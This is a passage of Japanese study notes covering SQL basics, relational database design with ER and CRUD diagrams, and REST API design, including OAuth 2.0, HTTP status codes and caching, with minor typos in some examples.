1jiroumale1999-11-30
2jiroufemale1993-01-14

絞込条件に該当するデータの特定のカラムを更新

--membersのレコードでidが1のレコードのname,birth_dayを更新
UPDATE members SET name = 'saburo', birth_day = '2015-03-11' WHERE id = 1;

実行後のテーブル

idnamesexbirthday
1aburomale2015-03-11
2jiroufemale1993-01-14

2.2.4. DELETE文

特定条件に該当するデータを削除

--idが1のレコードを削除する
DELETE FROM members WHERE id = 1;

実行後のテーブル

idnamesexbirthday
2jiroufemale1993-01-14

全件データを削除

--membersのレコード全てを削除する
DELETE FROM members;

実行後のテーブル

idnamesexbirthday

2.2.5. 絞り込み WHERE

データの全体母数からWHERE句を使ってデータ集合を絞り込むために利用する。 WHERE句が使えるのはSQL4大命令のうち「SELECT」、「UPDATE」、「DELETE」。

SELECTのWHEREによる絞り込み

SELECT ”取得したい情報” from "テーブル名" WHERE "絞込をしたいcolumn名" = "値";

利用できる比較演算子

記号説明
=等価演算子
<=>安全等価演算子(NULL)
>右不等演算子
>=以上演算子
<左不等演算子
<=以下演算子
!=, <>不等価演算子

なおWHERE句内の比較演算はAND,ORで絞り込みが可能。

SELECT * from users WHERE age >= 20 AND age <= 30; 

2.2.6. BETWEEN句

〇〇以上、〇〇未満の情報を取得するというケースは不等号を使っても表現することが出来るが、BETWEENを使うことでも表現することが可能。

SELECT ”取得したい情報” from "テーブル名" WHERE "絞込をしたいcolumn名" BETWEEN "最小値" AND "最大値";

BETWEEN句以降に最小値と最大値を指定する。 この時最小値と最大値の順番は重要となる。 BETWEEN句が使えるのは、整数型を代表する以上以下で表現が出来る型のみ。

2.2.7. LIKE句

部分一致で検索するときに用いる。 LIKE句で使う"%“は、ワイルドカードと読んでおり、"%ky%“としたときには、kyを含む文字列を取得することが出来る。 これを応用して、“ky%“と書いた時には、kyから始まる文字列の絞込が出来る。

SELECT ”取得したい情報” from "テーブル名" WHERE "絞込をしたいcolumn名" LIKE "%絞込をしたい文字列%";

2.2.8. INとNOT IN

INで指定するときには、カンマ区切りの配列で複数の条件を指定することができる。 文字列の場合にも(“foo”,“bar”,“baz”)という形で指定をすることができる。

SELECT ”取得したい情報” from "テーブル名" WHERE "絞込をしたいcolumn名" in ("指定したい情報をカンマ区切りで指定");
SELECT ”取得したい情報” from "テーブル名" WHERE "絞込をしたいcolumn名" not in ("指定したい情報をカンマ区切りで指定");

2.2.9. EXISTS

2つのテーブルが関係する場合の検索処理に用いる。

SELECT ”取得したい情報” from "テーブル名" WHERE EXISTS (SELECT "column名" FROM "判定に使うテーブル名" WHERE "テーブル名.column名" = "判定に使うテーブル名.判定に使うcolumn名");

SQLの中にSQLが書かれている形のことをサブクエリーと呼ぶ。 サブクエリーが何なのか?という説明よりも、()の中で問い合わせた結果を使って再度検索が動いているのをイメージ出来るようになるとレベルアップ出来る。

2.10. ORDER BY文

ORDER BYはソートを行ってくれる機能。

SELECT [表示要素名] FROM [テーブル名] ORDER BY [ソートする要素名] [昇順・降順の指定];

昇順・降順の指定

指定
ASC昇順
DESC降順

並び順の指定を省略した場合はASCがデフォルト。 複数のソートキーも対応している。はじめに書くほど優先でカラムが実行される。

2.2.11 表示件数の制限

LIMITはデータの表示件数を制限できる。

select * from テーブル名 LIMIT 取得件数;

2.2.12. テーブル定義の確認

DESCRIBEはテーブルの定義情報を確認することができる。

DESCRIBE テーブル名;

2.2.13. SQLの集合関数

集合関数とは、SQLに備わっている演算機能。 集合関数には主に次の5つがある。

関数名説明
COUNT総数を求める
SUM総和を求める
MAX最大値を求める
MIN最小値を求める
AVG平均を求める

COUNT

SELECT COUNTはデータの件数を数える。

select count(*) from テーブル名;

SUM

sumは総和です。

select sum(カラム名) from テーブル名;

MAX

maxは最大値です。

select max(age) from users where birthplace = '大分県';

MIN

MINは最小値です。

select count(*),max(age),min(age) from users where birthplace = '大分県' and gender_id = 0;

AVG

avgは平均値です。

SELECT count(*) AS 総数,
       max(age) AS 最高齢,
       min(age) AS 最年少,
       avg(age) AS 平均年齢
FROM users
WHERE birthplace = '大分県';

2.2.14. グループ

GROUP BY

group byは「〜ごと」という処理を行う。

SELECT 関数名(カラム名1),カラム名2 FROM テーブル名 GROUP BY カラム名2;

HAVING

having は集合関数の結果をもとに絞り込むことができる。

SELECT 関数名(カラム名1),カラム名2 FROM テーブル名 GROUP BY カラム名2 HAVING 関数名(カラム名1);

2.3. テーブルの結合

テーブルの結合には幾つかのパターンがある。

  • 内部結合 : 指定された共通列で、紐付いているレコード”のみ” で結合テーブルが作成される
  • 外部結合 : 指定された共通列で、紐付いているレコード”以外” も結合テーブルとして作成される

2.3.1. 内部結合

内部結合とは、2つのテーブルを結合しデータを取得する方法において、共通列が一致するレコード"のみ” 取得する方法が内部結合になります。

SELECT
  テーブルA.カラム1,
  テーブルB.カラム1,
  ......
FROM
  テーブルA
  INNER JOIN テーブルB ON テーブルA.カラム2 = テーブルB.カラム2

内部結合では、FROM句で指定したテーブルAと、結合するテーブルBをINNER JOIN句で指定する。 そして、テーブル同士の紐付け条件としてON句を利用し、共通列となるテーブルA.カラム2、テーブルB.カラム2を指定し紐付けを行う事でテーブルが結合される。

結合

2.3.2. 外部結合

左外部結合

SELECT
  テーブルA.カラム1,
  テーブルB.カラム1,
  ......
FROM
  テーブルA
  LEFT OUTER(省略可) JOIN テーブルB ON テーブルA.カラム2 = テーブルB.カラム2

左外部結合では、FROM句で指定したテーブルAと、結合するテーブルBをLEFT JOIN句で指定する。 テーブル同士の紐付け条件は、内部結合と同様にON句を利用し、共通列となるテーブルA.カラム2、テーブルB.カラム2を指定し紐付けを行う。

結合

右外部結合

SELECT
  テーブルA.カラム1,
  テーブルB.カラム1,
  ......
FROM
  テーブルA
  RIGHT OUTER(省略可) JOIN テーブルB ON テーブルA.カラム2 = テーブルB.カラム2

右外部結合では、左外部結合とは反対で、RIGHT JOIN句で指定したテーブルBを基に、FROM句で結合するテーブルAをで指定する。 テーブル同士の紐付け条件は、左外部結合と同様にON句を利用し、共通列となるテーブルA.カラム2、テーブルB.カラム2を指定し紐付けを行う。

結合

完全外部結合

SELECT
  テーブルA.カラム1,
  テーブルB.カラム1,
  ......
FROM
  テーブルA
  FULL OUTER(省略可) JOIN テーブルB ON テーブルA.カラム2 = テーブルB.カラム2

完全外部結合は、サンプルのSQLを見て頂くと解る通り、左外部結合と右外部結合の機能を併せ持っている。 テーブル同士の紐付け条件は、左/右外部結合と同様にON句を利用し、共通列となるテーブルA.カラム2、テーブルB.カラム2を指定し紐付けを行う。

結合

4.3 - 3.RDBデータベース設計基礎

RDBデータベース設計のための基礎手法や図法などの解説。

3.1. データベースの設計方法

3.1.1. データベーステーブルの設計

テーブルは基本的に以下のフローで設計します。

  1. システム要件の確認
  2. テーブル概要設計
  3. テーブル詳細設計

システムの要件の確認

この工程ではシステムの要件と機能を明確化します。 どんなデータを保存するのか、どういうアプリのためのデータベースなのかetc…より検討。

テーブルの概要設計

システムの要件と機能から必要となるデータのテーブルを大雑把に書きだします。 機能一覧より処理のシナリオに沿ってデータを洗い出します。

テーブル詳細設計

このステップでは概要設計で洗い出したデータテーブルに以下の仕様を追加します。

  • 日本語データ名(論理名)を英語(物理名)に変える
  • カラムに型を定義する
  • ER図を書きながら各テーブルを正規化する
  • 制約条件やインデックスをつける

また注意としてカラム名やデータ名に予約語を用いてはいけないという暗黙の規則がある。

3.1.2. インデックス

検索キーになりうるカラムにつける番号です。 主キーや外部キーにはつけません。

3.1.3. 制約条件

  • NOT NULL制約 ・・・ 列のデータがNULL値ではないことを保証する制約
  • ユニークキー制約 ・・・ 列のデータが重複しないことを保証する制約
  • 外部キー制約 ・・・ 他のテーブルの列を参照し、その列にないデータを禁止する制約

外部キー制約の説明

DB

3.1.4. 命名規則

テーブルやカラムの名称の命名のルールとして基本的には以下の通りです。

  • 読んで意味の分かる名称を英語でつける
  • テーブル名・カラム名ともに大文字
  • 単語のセパレータには_を使う
  • 英語の長い連語(例: Purchase OrderならPO)は略称にする
  • テーブル名は複数形(s)

3.2. 作図

データベースの設計のためには非正規形の表の正規化を行う以外に、図の作成などを用いてデータベースの機能の設計や操作をまとめることができます。

3.2.1. DFD

DFDは「システムの機能」と「システムで扱うデータ」の流れを表現する図です。

DB

DFDを作成する目的としては、

  • 他のメンバーとシステムイメージを共有
  • 既存システムの全体像を説明するのに活用
  • 機能の漏れ、重複がないように分割
  • プロセスの詳細化

プロセスの詳細化を行うと、一度に検討するプログラム量が最小限になり、コーディング時に部分ごと集中して取り組むことができます。

DB

3.2.2. CRUD図

システム開発において属人化を未然に防いだり影響調査のコスト圧縮のためにCRUD図という図を作成したりします。 CRUD図はSQLの4大命令に即した形で「Create」、「Read」、「Update」、「Delete」の操作がどのテーブルに対して行われているかを画面(機能やユースケース)ごとに記載する資料です。

省略形(意味)SQL説明
C(Create)INSERTデータの追加
R(Read)SELECTデータの参照
U(Update)UPDATEデータの更新
D(Delete)DELETEデータの削除

DB

3.2.3. ER図

ER図はデータベースを設計する際に利用します。

ER図を作成することで、複数個所でマスタとなるデータをばらばらに持ってないか確認できたり、データの関連性を説明するのに活用することができます。 実体と関係という概念を用いてデータ構造を図にします。

要素概要
エンティティデータのまとまり。実体のあるもの(人、物、場所、金)だけでなく、概念(やりとり、分類)も対象となります。
アトリビュート(属性)エンティティに関する情報です。
リレーション(関係)「1対多」など数の関係を表します。
カーディナリティ(多重度)「1対1」「1対多」「多対多」など

DB

ER図のデータモデルの形態

ER図の初期形態

概念モデル: ものと出来事をエンティティ・リレーションシップとして表した図

ER図の中期形態

論理モデル: 概念モデルに情報を肉付けしたもの。属性(アトリビュート)・アイデンティファイア(主キー)・外部キーとかの要素が入る

ER図の最終形態

物理モデル: 特定の物理DB向けに論理モデルを変換する。データ型の追加とか、アルファベットに変換したりとかする

表的なER図の要素と物理データベース項目の関係は以下になります。

ER設計物理データベース
エンティティ名テーブル名
アトリビュート(物理名)カラム名
アイデンティファイア主キー制約
リレーションシップ外部キー制約

5 - WebAPI/認証技術入門

Web APIや認証技術を実装するためのメモ

5.1 - 1.Web API基礎

Web APIの実装/設計のためのメモ

5.1.1 - 1.Web APIの基礎知識

Web APIの種類や構造に関する解説

1.1. Web APIの基礎知識

1.1.1. APIとは

API(Application Programming Interface)はプログラムの機能の一部を別のプログラム上で利用できるように共有する仕組み

Web APIはHTTPプロトコル(httpやhttpsなど)のWeb技術を用いて実現されるAPIの一種。 言い換えると、ある URI にアクセスすることで、サーバ側の情報を書き換えたり、サーバ側に置かれた情報を取得したりできる Web システムで、プログラムからアクセスしてそのデータを機械的に利用するためのものである。

WEBAPI

1.1.2. 様々なAPIの実装

開発者が Web API を設計しなければならない機会は以下のようなものがある。

  • 公開している Web サービスのデータや機能のAPI公開
  • 他のページに貼り付けるウィジェットの公開
  • モダンなWebアプリケーションの構築
  • スマートフォンアプリケーションの開発
  • ソーシャルゲームの開発
  • 社内システムの連携

1.1.3. Web APIの種類

XML-RPC

データ形式にXMLを利用しインターネット上でリモートプロシージャコール(遠隔手続き呼び出し)を行うタイプのAPIである。

返り値はXML形式で返ってくる。

SOAP

2000年代前半まで主流だったWeb API。 SOAPのようなXMLベースで仕様が複雑なものは近年ではあまり使われなくなってきている。

REST

最近では主流なWeb API。Web API = RESTほどなまで注目されている。

1.1.4. Web APIをきれいに設計するには

APIをきれいに設計しなければならない理由は以下の通り。

設計の美しいWeb APIは使いやすい

APIを作り公開する場合、そのAPIを利用するのは自分ではないケースが多い。APIを設計するからには多くの人に利用してもらいたいので、そのためにもAPIを利用する側にはストレスなく使ってもらえるよう、使いやすさを意識する必要がある。

設計の美しいWeb APIは変更しやすい

Webサービスやシステムはどんどん進化していく。公開した当時と同じ状態のまま2年も3年も運用が続けられるケースは少ない。進化していけばインターフェースであるAPIも変化を余儀なくされる。

ただ、APIは自分たちと関係ない第三者が使っている場合も多く、その場合いきなりAPIの仕様が変わってしまうと、そうした人たちの作ったシステムやサービスがいきなり動かなくなる、といったことも考えられる。こうした事態はAPIを提供する側としては避けなければならない。そのためにもAPIの変更をいかに利用者に影響なく変更できるかを意識する必要がある。

設計の美しいWeb APIは頑強である

Web APIはインターネットを通じて提供するため、誰でもアクセス可能になってしまう。 そのため、セキュリティの問題が必ず発生する。APIといえど、ウェブサイトと同じHTTPを利用している以上、ほぼ同等のセキュリティの問題を意識する必要がある。

1.2. エンドポイント設計とリクエスト形式

1.2.1. APIの機能設計とAPIエンドポイント

APIの機能設計

公開したAPIがどのように使われるのかユースケースをきちんと考えることが重要である。

APIエンドポイント

Web APIにおけるエンドポイントはAPIにアクセスするためのURI

基本的にはURI が「リソース」を指すものであり、URIとHTTP メソッドの組み合わせで処理の内容を表すのが良い設計であるとされている。

1.2.2. APIエンドポイントの設計

覚えやすくどんな情報をもつURIなのかがひと目でわかるという原則に従い設計する。 設計のポイントは以下の通り。

短く入力しやすいURI

不要な情報が入っていたり、意味が重複していたりするURIは避けるべきである。

  • ダメな設計
http://api.example.com/service/api/search
  • 良い設計
http://api.example.com/search

人間が読んで理解しやすいURI

URIだけで何を目的としたものが理解できることが重要である。 また意味不明な略語や一般的に使用される英語以外をURIに用いるのは避けるべきである。

一般的にAPIで使われる単語を知るには、実際に他のAPIやProgrammableWebを参照する。 単語の複数形や過去形については間違いが混入しやすいので特に注意する。 慣れてる人にしか伝わらない省略表現をむやみに使うことは避けたほうが無難である。

大文字小文字が混在していないURI

標準的に選択されているのは小文字なので小文字で統一する方が好ましい。 大文字のURIで呼び出された場合には、単に 404 NotFound で返すのが良い(小文字の URI にリダイレクトする必要ナシ)

改造しやすいURI

URIを修正して別のURI にするのが容易かどうか。 あるURIから他のURIを想像することが可能であれば、あまりドキュメントを読まなくても開発を進めることができAPI利用者の負担を軽減できる。

サーバアーキテクチャが反映されたURI

下記のようなエンドポイント設計はセキュリティ脆弱性を招く場合がある。

http://api.example.com/cgi-bin/get_user.php?user=100

上記の場合、API利用者に「PHPで書かれていてCGIとして動作しているんだろう」という情報を与えてしまう。 API利用者にどの言語やどのフレームワークなどでAPIが設計・構成されているかの情報を与える必要はない。

またアーキテクチャが反映されていると、攻撃者に対して脆弱性を突くためのヒントを与えてしまうことになる。

ルールが統一されたURI

例えば以下のようなルールが統一されていないAPIは避けるべきである。

http://api.example.com/friends?id=100
http://api.example.com/friend/100/message

エンドポイントを設計する中で注意すべき点

  • 複数形の名詞を利用する(複数形の方が適切)
  • 利用する単語に気をつける
  • スペースエンコードを必要とする文字を使わない
  • 単語をつなげる必要がある場合はハイフンを利用する

HTTPメソッドとエンドポイント

URIとメソッドは「操作するもの」と「操作方法」の関係にあると言える。

メソッド名説明
GETリソースの取得
POSTリソースの登録(リソース名は指定しない)
PUTリソースの登録/更新(リソース名を指定する)
DELETEリソースの削除
PATCHリソースの一部変更
HEADソースのメタ情報の取得
  • POSTとPUTの使い分け

    • POST と PUT の使い分けは、 URI の指定の仕方にある。
    • POST /photos とすると、リソース名がサーバ側で割り振られて、GET /photos/25252などの新しい URI がアクセス可能になる。
    • PUT は、PUT /photos/25252のように、使用者がリソースを指定する場合に使う。
  • PUTとPATCHの使い分け

    • PUT はデータを完全に上書きしたい場合に使う。
    • PATCH はデータの一部だけを更新したい場合に使う。

1.3. 検索とクエリパラメータ設計

1.3.1. ページネーション

ページネーションの仕組みを実現する方法は主に2つある。

  • per_pageとpageで取得数と取得位置を指定
  • limitとoffsetで取得数と取得位置を指定

相対位置でデータを取得する方法にはパフォーマンス上の問題がある。 (∵ offsetを使った場合はレコードを先頭から数えてしまう可能性があるから)

また更新頻度の高いデータにおいてデータに不整合が生じるという問題もある。 最初の20件を取得してから、次の20件を取得する間にデータの更新が入ってしまった場合、実際に取得したい情報と取得された情報にズレが生じてしまう。

offsetで相対位置を指定する代わりに、これまで取得した最後のデータのIDや時刻を記録しておいて、「このIDよりも前のもの」「このIDよりも後のもの」といった指定を行う方法もある(絶対位置による指定)。

1.3.2. 絞り込みのためのパラメータ

完全一致で検索する場合、以下のようなURIとするのが直感的である。

http://api.example.com/v1/users?name=ken

検索するフィールドがほぼ一つに決まる場合は q というパラメータが使われる場合もある。 こちらは部分一致での検索というニュアンスが強くなる。

http://api.example.com/v1/users?q=ken

1.3.3. クエリパラメータとパスの使い分け

クエリパラメータに入れる情報はURI中のパスの中に入れることも設計上は可能である。

クライアントが指定する特定のパラメータをクエリパラメータに入れるか、パスに入れるかを決める際の基準は以下の通り。

  • 一意なリソースを表すのに必要な情報かどうか
  • 省略可能かどうか

1.4. ログインとOAuth2.0

1.4.1. OAuth

OAuthは基本的に広く第三者に公開されるAPIでデータや機能へのアクセス権限の許可を行う仕組み

OAuthにより権限の許可を付与することで本来であれば利用することができない他サービスのリソースを連携してもらうことができる。

OAuth

OAuthには 1.0 と 2.0 があり、2.0 は2012年10月にRFC6749として標準化されている。 OAuth 1.0を利用する理由は特にないため、実装する場合は2.0を利用するのが良い

1.4.2. OAuth2.0の認証手順(Grand typeの設定)

名称説明
Authentication Codeサーバサイドで多くの処理を行うWebアプリケーション向け
ImplicitスマートフォンアプリやJavaScriptを用いたクライアントサイドで多くの処理を行うアプリケーション向け
Resource Owner Password Credentialsサーバサイド(サイトB)を利用しないアプリケーション向け
Client Credentialsユーザ単位での認可を行わないアプリケーション向け

Resource Owner Password Credentialsの認証における指定パラメータ

  • grant_type・・・password という文字列。Resource Owner Password Credentials であることを表す
  • username・・・ログインするユーザ名
  • password・・・ログインするパスワード
  • scope・・・アクセスのスコープを指定する(省略可)

scopeはどんな権限にアクセスをさせるかを指定するもの。 スコープを使うことで外部サービスがトークンを得る際にアクセス内容を制限し、またユーザに「このサービスは以下の情報にアクセスできますよ」と表示することができる。

クライアントのリクエストは例えば以下のようになる。

POST /v1/oauth2/token HTTP/1.1
Host: api.example.com
Authorization: Basic Y2xpZW50X21kOmNsaWVudF9zZWNyZXQ
Content-Type: application/x-www-form-urlencoded

grant_type=password&username&takaaki&password&abcde&scope=api

正しくサーバに送られるとサーバは以下のようなJSONをレスポンスする。

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-store
Pragma: no-cache

{
  "access_toke": "b77yz37w7kzy8v5fuga6zz93",
  "token_type": "bearer",
  "expires_in": 2620743,
  "refresh_token": ""
}

bearerトークンの送信方法はRFC 6750によれば以下の3種類ある。

  • リクエストヘッダに入れる方法
  • リクエストボディに入れる方法
  • URI にクエリパラメータとして入れる方法

expires_inはアクセストークンが後何秒で有効期限切れになるかを表したもの。 有効期限が切れた場合、サーバは invalid_token というエラーを 401 で返すことになっている。

invalid_token が発生した場合にはリフレッシュトークンを使ってアクセストークンを再度要求することができる。 リフレッシュトークンは返さないことも可能(その場合は再ログインが必要となる)。

ユーザ名やパスワードによらず API を利用させたい場合はClient Credentialsを使うのが良い ClientID と ClientSecret さえ取得してアプリケーションに埋め込んでおけばpublicな情報にアクセスできる。

1.5. SSKDsとAPIのデザイン

Web APIは大きく2種類に分けられる。

  • LSUDs 向け ・・・一般に公開し多くの人たちに使ってもらうためのAPI
  • SSKDs 向け ・・・自社のスマホアプリなど特定の人だけが使うAPI

SSKDs 向けのAPIでは必ずしも汎用的な美しいAPIを提供する必要はない。 ユーザ体験を考えるとホーム画面に表示する情報を1つに詰め込んだAPIを1個提供する方がいい場合もある。

1.6. HATEOASとREST API

1.6.1. HATEOAS(Hypermedia as the Engine of Application State)

HATEOASはRESTの一部であり、リソースに対する情報や操作について前情報なしに扱うことができるアーキテクチャパターンである。

言い換えるとRestful原則に対する追加的な制約であり、HTMLアプリの画面遷移を抽象化した状態遷移を表現するRestful APを設計するための具体的な方法論ともいえる。

例えば以下のようなAPIを設計したとする。

/books/isbn

これはAmazonの本の情報を得られるAPIであるとした場合、アクセスしたときのレスポンスは以下のようなものが考えれる。

  • タイトル
  • 作者
  • 在庫数
  • 評価 などなど

Book に対する情報が含まれることを期待します。 HATEOASではさらにBook に対してなにが出来るのかがすべて表現されます。

  • 購入
  • 作者の詳細をみる
  • 評価の詳細をみる
  • 評価を追加する などなど

最大の特徴はリソースにアクセスすることができる= ソースに対する操作が出来る(できないことは表現されない)。

1.7. GraphQL

GraphQLはGraphとQL(クエリー言語)を合わせたREST APIの代替規格

GraphはGraphQLで扱うデータが以下の図のようにnodeとedgeを使ってグラフのように表されることからGraphという名前が利用されている。

GraphQL

クライアントからサーバに対してCRUDを行う際に利用するREST APIと同様にGraphQLもクライアントからサーバに対してCRUDする際に利用することができる。

REST APIではデータを取得する際に複数のエンドポイントを利用したが、GraphQLでは1つのエンドポイントのみ持ちクエリーを設定(問い合わせなのか更新または削除なのか、どのデータが欲しいかを指定)することでサーバからデータを取得することができる。

クエリーの設定によって一度のHTTPリクエストで一括でユーザ情報、ブログ記事情報を取得することも可能な上、ユーザ情報の中からはemailのみ選択して取得するといったことも可能。

1.7.1. GraphQLが解決したREST APIの問題

GraphQLはREST APIの抱える以下の問題を解決できる。

  • 必要なデータを取得する際に1つのエンドポイントから十分なデータが取得できない場合に複数のエンドポイントに対してリクエストを送信しなければならなかったこと
  • Overfetchingと呼ばれる問題

Overfetchingとは: ユーザデータの中からemailのみ取得するといったことができず必ず一緒に必要でない情報(ブラウザ上に描写しないデータ)を取得してしまうこと

5.1.2 - 2.レスポンスデータ設計

Web APIのレスポンスデータの設計方法に関する解説

2.1. レスポンスデータ設計

2.1.1. レスポンスデータフォーマット

エンドポイントへアクセスされた場合のレスポンスされるデータフォーマットは以下のようなものがある。

データフォーマット説明
XMLXMLは個別の目的に応じたマークアップ言語群を創るために汎用的に使える
JSONJavaScript Object Notation
JSONPscriptタグを使用してクロスドメインな(異なるドメインに存在する)データを取得する仕組み

JSONPはCSRF脆弱性がある

基本的にはJSONをレスポンスのデフォルトとして対応し必要があればXMLなどに対応する方針が良い。

データフォーマットの指定方法は以下の3種類がある。

  • クエリパラメータを使う方法・・・もっとも主流な方法
  • 拡張子を使う方法
  • リクエストヘッダでメディアタイプを指定する方法・・・HTTP仕様に厳格に合わせようと思ったらファーストチョイス

2.1.2. JSONPの扱い

JSONPに対応する必要がないのであれば、無理に対応しない方が無難である。 同一生成元ポリシーによって守られている攻撃手法の対象になりえるため。

2.1.3. データ内部構造の設計方針

APIで返すレスポンスデータを決定する際にまず優先に考えることは、APIのアクセス回数がなるべく減るようにすることである。

そのためには API のユースケースをきちんと考えることが重要だ。

ひとつの作業を完了させるために複数回のアクセスが必要となるAPIはChatty APIと呼ばれるが、Chatty API はネットワークのトラフィックを増加させ、クライアント実装の手間も増やしてしまうため基本的には使わないようにする。

レスポンス内容をユーザが選べるようにする

もっともシンプルな解決策は全ての API で「できる限り多くのデータを返す」というもの。

送受信されるデータサイズはできるだけ小さい方が望ましいため、「取得する項目を利用者が選択可能にする」という手法が取られることがある。 (例:クエリパラメータを使って、ユーザ情報のうち名前と年齢を取得したい、みたいなことを指定できるようにする、など)

他にはSmall、Medeium、Large などのレスポンスグループを指定して必要なデータだけを取得させるというやり方がある。

エンベロープは必要かどうか

レスポンスが正常時もエラー時も200 OKで返ってきて本当に成功したかどうかはヘッダに載せるというやり方。 これはHTTPの仕様を無視している且つ冗長なので絶対にやるべきではない。

HTTP自体がエンベロープの役割を果たしているためエラーかどうかの判断はステータスコードに基づいて行うのが良い。

データはフラットにすべきか

なるべくフラットな方が良いが階層構造を持った方がわかりやすいケースについてはそうするべきである。

Google JSON style Guideより

配列とフォーマット

配列をそのまま返すべきか、オブジェクトに包んで返すべきか迷う場合がある。 基本的にはオブジェクトで包んで返すべきであり、以下のようなメリットがある。

  • レスポンスデータが何を示しているのかがわかりやすくなる
  • レスポンスデータをオブジェクトに統一することができる
  • セキュリティ上のリスクを避けるこができる(トップレベルが配列だとJSONインジェクションの危険がある)

配列の件数あるいは続きがあるかをどう返すべきか

本当に件数を返す必要があるかどうかはしっかり見極めた方が良い。 全件数を取る必要がなかったとしても「次の20件」のようなリンクを表示するために、「今取得したデータに続きはあるのか」は返した方が良い。 例えば、続きがあれば "hasNext": "true" をつけて返すなど。

2.1.4. 各データのフォーマット

各データ項目の命名規則に関してのポイントは以下の通りである。

  • 他の多くのAPIで同じ意味に利用されている一般的な単語を用いる
  • なるべく少ない単語数で表現する
  • 複数の単語を連結する場合、その連結方法は API 全体を通して統一する
  • 変な省略形は極力利用しない
  • 単数形・複数形に気をつける

日付のフォーマットについては、広く一般に公開する場合RFC 3339を使うのが良い。 このフォーマットが読みやすく使いやすいものを目指してインターネット上で用いる標準形式として定められたものであるためである。

2.1.5. エラー表現

ステータスコードでエラーを表現する

エラーを返す際にまず真っ先にやるべきことは適切なステータスコードを使うことである。

ステータスコード説明
100番台情報
200番台成功
300番台リダイレクト
400番台クライアントサイド起因エラー
500番台サーバサイド起因エラー

エラー詳細をクライアントに返す

エラーの内容を返す方法は大きく分けて2つある。

  • HTTP のレスポンスヘッダに入れて返す
  • レスポンスボディで返す(こちらの方が主流)

例えばTwitter APIのレスポンスボディは以下のようになっている。

{
  "errors":[
    {
      "message":"Bad Authentication data",
      "code":215
    }
  ]
}

2.2. HTTPリクエストとレスポンスの仕様

2.2.1. ステータスコード

主にAPIで利用する可能性のあるステータスコードは以下の通り。

ステータスコード名前説明
200OKリクエストは成功した
201Createdリクエストが成功し、新しいリソースが作られた
202Acceptedリクエストは成功した
204No Contentコンテンツなし
300Multiple Choices複数のリソースが存在する
301Moved Permanentlyリソースは恒久的に移動した
302Foundリクエストしたリソースは一時的に移動している
303See Other他を参照
304Not Modified前回から更新されていない
307Temporary Redirectリクエストしたリソースは一時的に移動している
400Bad Requestリクエストが正しくない
401Unauthorized認証が必要
403Forbiddenアクセスが禁止されている
404Not Found指定したリソースが見つからない
405Method Not Allowd指定されたメソッドは使うことができない
406Not Acceptable Accept関連のヘッダに受理できない情報が含まれている
408Request Timeoutリクエストが時間以内に完了しなかった
409Conflictリソースが矛盾した
410Gone指定したリソースは消滅した
413Request Entity Too Largeリクエストボディが大きすぎる
414Request-URI Too Longリクエストされた URI が長すぎる
415Unsupported Media Typeサポートしていないメディアタイプが指定された
429Too Many Requestsリクエスト回数が多すぎる
500Internal Server Errorサーバ側でエラーが発生した
503Service Unavailableサーバが一時的に停止している

200番台:成功

201 は Created つまりリクエストの結果サーバ側でデータ作成が行われた場合に返す

202 の Accepted はリクエストした処理が非同期で行われ、処理は受け付けたけれど完了していない場合に利用する

204 は No Conent という言葉の通りレスポンスが空のときに返す

PUT や PATCH の場合は 200 とともに操作したデータを返し(POST の場合は 201)、DELETE の場合は 204 を使うのが良い。 こうしておけば、どちらの場合も返ってきたデータを見れば変更が正しく行われたことが理解できる。

300 番台:追加で処理が必要

300 番台のステータスコードでよく知られている利用目的は「リダイレクト」。 リダイレクトの場合は Location というレスポンスヘッダにリダイレクト先の新しいURIが含まれる。

API の場合もリダイレクトを利用することはありえるが、Web サイトのように URI の変更、サイトの移転や一時的な移動に伴ってリダイレクトを行うことはあまり好ましくない(クライアントの実装によっては、動かなくなってしまうため)。

400番台:クライアントのリクエストに問題

400 Bad Request はその他のエラーコード 送られてきたパラメータに間違いがある場合など、他のステータスコードに該当しない場合は 400 を使う

401 Unauthorized は認証のエラー(あなたが誰かわからない) 403 Forbidden は認可のエラー(あなたが誰かはわかったけど、この操作は許可されていない)

404 Not Found はアクセスしようとしたデータが存在しない場合に返す ただし、何が存在しないかはケースバイケースなので、エラーメッセージをきちんと返す必要がある

405 Method Not Allowed はエンドポイントは存在するがメソッドが許可されていない (GET の API に POST でアクセスしようとした場合など) 406 Not Acceptable はクライアントが指定してきたデータ形式に API が対応していない (JSON と XML しか対応していないのに YAML を指定した場合など)

408 Request Timeout は、リクエストをクライアントがサーバに送るのに時間がかかりすぎて、サーバ側でタイムアウトを起こした場合

409 Conflict は、リソース競合が発生した際のエラー (重複した ID のデータを登録しようとした場合など)

410 Gone は 404 と同じく、リソースが存在しない場合に返すコードだが、こちらは単に存在しないのではなく、かつて存在したけれど今はもう存在しない、ということを表す

413 Request Entity Too Large はリクエストボディが大きすぎるときのエラー ファイルアップロードに、許容されるサイズ以上のデータが送られてきたような時に発生する 414 Request-URI Too Long は GET 時のクエリパラメータに長すぎるデータが指定された場合などに発生する

415 Unsupported Media Type は、リクエストヘッダの Content-Type で指定されているデータ形式にサーバが対応していないケースで発生する 例えば、XML に対応していない API に XML を送り、Content-Type に application/xml を指定している場合などが該当する

429 Too Many Requests は、アクセスの許容範囲の限界を超えた場合に返るエラー

500 番台:サーバに問題がある場合

500 Internal Server Error は、サーバ側のコードにバグがあってエラーを吐いている場合 503 Service Unavailable は、サーバが一時的に利用できない状態になっていることを示すエラー

2.2.2. キャッシュとHTTPの仕様

HTTP のキャッシュには以下の2つのタイプがある。

  • Expiration Model(期限切れモデル)・・・レスポンスデータに保存期限を決めておき期限が切れたら再アクセスさせる
  • Validaton Model(検証モデル)・・・今保持しているキャッシュが最新であるかを問い合わせ、更新されていた場合にのみ取得を行う

Expiration Model(期限切れモデル)

HTTP 1.1 の定義によると、実現方法は以下の2つ。

  • Cache-Control レスポンスヘッダを使う
  • Expires レスポンスヘッダを使う

特定の日時に変更されることがあらかじめわかっているデータの場合は Expires で日時を指定する。 今後更新される可能性のない静的なデータの場合は、一年後の日時を指定することで、キャッシュをしばらく有効にできる。 Cache-Control は定期更新ではないものの更新頻度がある程度限られているものや、更新頻度は低くないものの、あまり頻繁にアクセスして欲しくない場合に利用できる。

max-age の計算にはDateヘッダを使う。 HTTP の仕様により500番台のエラーの場合などいくつかの例外を除き、必ずつけなければならない。

Validation Model(検証モデル)

検証モデルを行うには条件付きリクエストに対応する必要がある。 条件付きリクエストとは「もし今保持している情報が更新されていたら情報をください」というもの。 更新されていたときのみデータを返し、更新されていなかったら 304 Not Modified を返す、

